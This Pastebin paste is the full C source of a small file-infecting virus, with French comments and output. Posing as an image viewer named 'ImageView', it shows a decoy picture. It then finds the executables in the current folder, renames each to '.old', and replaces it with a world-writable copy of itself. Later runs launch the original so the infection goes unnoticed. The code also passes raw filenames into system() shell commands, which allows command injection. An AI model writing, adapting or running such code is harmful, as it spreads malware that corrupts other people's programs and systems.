Advertisement
Guest User

Untitled

a guest
Nov 28th, 2015
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.99 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <dirent.h>
  4. #include <sys/types.h>
  5. #include <sys/stat.h>
  6. #include <unistd.h>
  7. #include <string.h>
  8.  
  9.  
  10. void afficheImage() {
  11.    
  12.     system("shotwell oiseau.jpg");
  13. }
  14.  
  15. void infectionFichiers() {
  16.    
  17.     DIR *rep = opendir(".");
  18.     struct dirent *fichier = NULL;
  19.     struct stat buf;
  20.     char ext[] = ".old";
  21.  
  22.     while ((fichier = readdir(rep)) != NULL) {
  23.        
  24.         // Liste les fichiers dans le dossier
  25.         // printf("%s\n", fichier->d_name);
  26.        
  27.         stat(fichier->d_name, &buf);
  28.  
  29.         if ((buf.st_mode & S_IXUSR) && (buf.st_mode & S_IFREG) && (strcmp(fichier->d_name, "ImageView") != 0)) {
  30.            
  31.             printf("Le fichier : %s est valide\n", fichier->d_name);
  32.  
  33.             if (strstr(fichier->d_name, ext)) {
  34.                
  35.                 printf("\tLe fichier est infecté\n");
  36.             } else {
  37.                
  38.                 printf("\tLe fichier n'est pas infecté\n");
  39.                
  40.                 char commandRename[256] = "mv ";
  41.                 char *oldName = fichier->d_name;
  42.                 strcat(commandRename, oldName);
  43.                 strcat(commandRename, " ");
  44.                 strcat(commandRename, oldName);
  45.                 strcat(commandRename, ext);
  46.                 system(commandRename);
  47.                 printf("\t\tLe fichier a été renommé : %s%s \n", oldName, ext); 
  48.  
  49.                 char commandCopie[256] = "touch ";
  50.                 strcat(commandCopie, oldName);
  51.                 system(commandCopie);
  52.  
  53.                 char commandDroit[256] = "chmod ";
  54.                 strcat(commandDroit, "777");
  55.                 strcat(commandDroit, " ");
  56.                 strcat(commandDroit, oldName);
  57.                 system(commandDroit);
  58.  
  59.  
  60.                 char commandTransfert[256] = "cat ";
  61.                 strcat(commandTransfert, "ImageView");
  62.                 strcat(commandTransfert, ">> ");
  63.                 strcat(commandTransfert, oldName);
  64.                 system(commandTransfert);
  65.             }
  66.         } else {
  67.            
  68.             printf("Le fichier : %s n'est pas valide\n", fichier->d_name);
  69.         }
  70.     }
  71. }
  72.  
  73. int main(int argc, char *argv[]) {
  74.  
  75.     if (strstr(argv[0], "ImageView")) {
  76.  
  77.         afficheImage();
  78.         infectionFichiers();
  79.     } else {
  80.  
  81.         char commandLancer[256] = "./";
  82.         strcat(commandLancer, argv[0]);
  83.         strcat(commandLancer, ".old");
  84.         system(commandLancer);
  85.     }
  86.    
  87.     return 0;
  88. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement